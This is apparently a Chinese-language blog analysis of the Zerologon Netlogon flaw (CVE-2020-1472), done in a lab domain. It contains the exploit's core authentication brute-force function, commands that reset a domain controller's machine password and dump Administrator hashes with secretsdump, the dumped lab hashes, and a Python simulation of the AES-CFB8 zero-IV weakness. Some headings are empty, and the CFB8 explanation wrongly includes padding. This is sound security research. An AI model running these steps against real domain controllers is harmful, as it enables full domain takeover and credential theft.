Zero Logon 分析

基本信息

Netlogon协议认证过程:

影响版本

环境搭建

  • win server 2012

技术分析&调试

利用 域环境使用Windows server 2012R2搭建,先用 脚本重置域账户密码 python cve-2020-1472-exploit.py WIN2016 192.168.52.130 并抓取数据包 重置之后域账户的密码为空,对应hash为31d6cfe0d16ae931b73c59d7e0c089c0

安装impacket:

  • python3 -m pipx install impacket
  • pipx ensurepath 使用impacketsecretsdump进行Dcsync,得到Administratr账户的NTLM hash
secretsdump.py cqy.io/WIN2016\$@WIN2016 -dc-ip 192.168.52.130 -just-dc-user cqy\\administrator -hashes 31d6cfe0d16ae931b73c59d7e0c089c0:31d6cfe0d16ae931b73c59d7e0c089c0

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:668d503af91aefe071e37a16e885047b:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:8996ffd41ae52dd62a3c60007d078f10eb7cd3eb5d4b74c90791c8e47eba88cb
Administrator:aes128-cts-hmac-sha1-96:a3a6d348e74cee613718c2f94d404fb6
Administrator:des-cbc-md5:f732d313b5e92585
[*] Cleaning up...

PoC分析 关键代码是下面这个函数,参数rpc_con是DCERPC_v5对象,描述了rcp链接,

    for attempt in range(0, MAX_ATTEMPTS):
        result = try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer)
        if result is None:
            print('=', end='', flush=True)
        else:
            break

def try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer):
    # Connect to the DC's Netlogon service.
    # Use an all-zero challenge and credential.

    plaintext = b'\x00' * 8
    ciphertext = b'\x00' * 8

    # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.

    flags = 0x212fffff
    # Send challenge and authentication request.

    nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
    try:
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', ciphertext, flags
        )

        # It worked!

        assert server_auth['ErrorCode'] == 0
        return True

    except nrpc.DCERPCSessionError as ex:
        # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
        if ex.get_error_code() == 0xc0000022:
            return None
        else:
            fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
    except BaseException as ex:
        fail(f'Unexpected error: {ex}.')

在PoC中循环发起认证,每次认证时,client challenge置为0x00 * 8,client credential置为0x00 * 8 在 netlogon协议中知道,服务器会比较自己计算的ClientCredential和客户端发过来的ClientCredential是否相等,而ClientCredential来源于会话密钥加密ClientChallenge。其中加密算法为AES,使用CFB8模式。该算法过程如下: 算法步骤:

  1. 确定一个16字节的初始向量IV。
  2. 将IV和明文组合,例如IV + 明文的前16个字节。
  3. 对组合的数据块进行AES加密,输出一个16字节的密文块。
  4. 从密文块的第一个字节,与明文的第一个字节进行异或,得到密文的第一个字节。
  5. 密文的第一个字节与IV的第一个字节组合,形成一个新的16字节值。
  6. 对这个新的值再次进行AES加密,得到下一个16字节密文块。
  7. 从新密文块取第一个字节,与明文的下一个字节异或,生成密文的下一个字节。
  8. 重复步骤5-7,直到所有明文都被加密。
  9. 若明文不足16的倍数字节,剩余明文使用PKCS7Padding进行填充。

AES-CFB8通过前一个密文块的反馈来影响下一个明文块的加密,从而避免了ECB模式的确定性问题。但必须使用随机的IV来保证安全性。

会话密钥计算公式:KDF(ClientChallenge+ServerChallenge+secret),在每一轮认证过程中,ServerChallenge都会变化,但Windows中实现的AES-CFB8使用的iv被设为16字节的0x00 攻击者可控ClientChallenge和ClientCredential,CLientChallenge对应于蓝色部分。由于轮认证时ServerChallenge都会改变且不会重复,所以每次计算出的会话密钥都不一样。当ClientChallenge置为0x00 * 8,当第一轮计算时,计算出的结果有1/256概率为0x00,而这个0x00又会作为下一轮输入添加到iv的第一个字节,即有1/256概率计算后的结果和计算前的值一样全为0x00,这样每一轮计算结果都是全为0x00。 这样第一轮计算后在算法中的输入为全0,加密密钥不变,第二轮计算时,结果依然会是0,这样最终算法结果输出会是全0。 由于每轮认证过程中会话密钥都不一样,所以每一轮认证过程时,AES-CFB8第一轮计算的结果都会不一样,结果最多有256种情况,最差的情况在第256轮时计算结果为0x00。

当AES-CFB8加密结果刚刚好为全0时,客户端发送的ClientCredential也为全0,此时就可以通过服务端的校验,完成身份验证。

可以编写一段简单的python代码模拟服务端加密过程

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import secrets

iv = bytes([
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
])  # 16 byte IV

plaintext = bytes([
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,
    0x00,

])  # 8 byte plaintext

for i in range(256):
    key = secrets.token_bytes(16)  # 8 byte key
    cipher = Cipher(algorithms.AES(key),
                    modes.CFB8(iv),
                    backend=default_backend())
    encryptor = cipher.encryptor()
    ciphertext = encryptor.update(plaintext) + encryptor.finalize()
    print(ciphertext.hex())

在第115次时,加密后的密文为0x0000000000000000 参考链接

https://xz.aliyun.com/t/8367

https://www.anquanke.com/post/id/219374#h3-6

https://www.secrss.com/articles/25580

Created at 2023-05-08T14:39:28+08:00

创建于:Monday, May 8,2023
最后修改于: Sunday, January 14,2024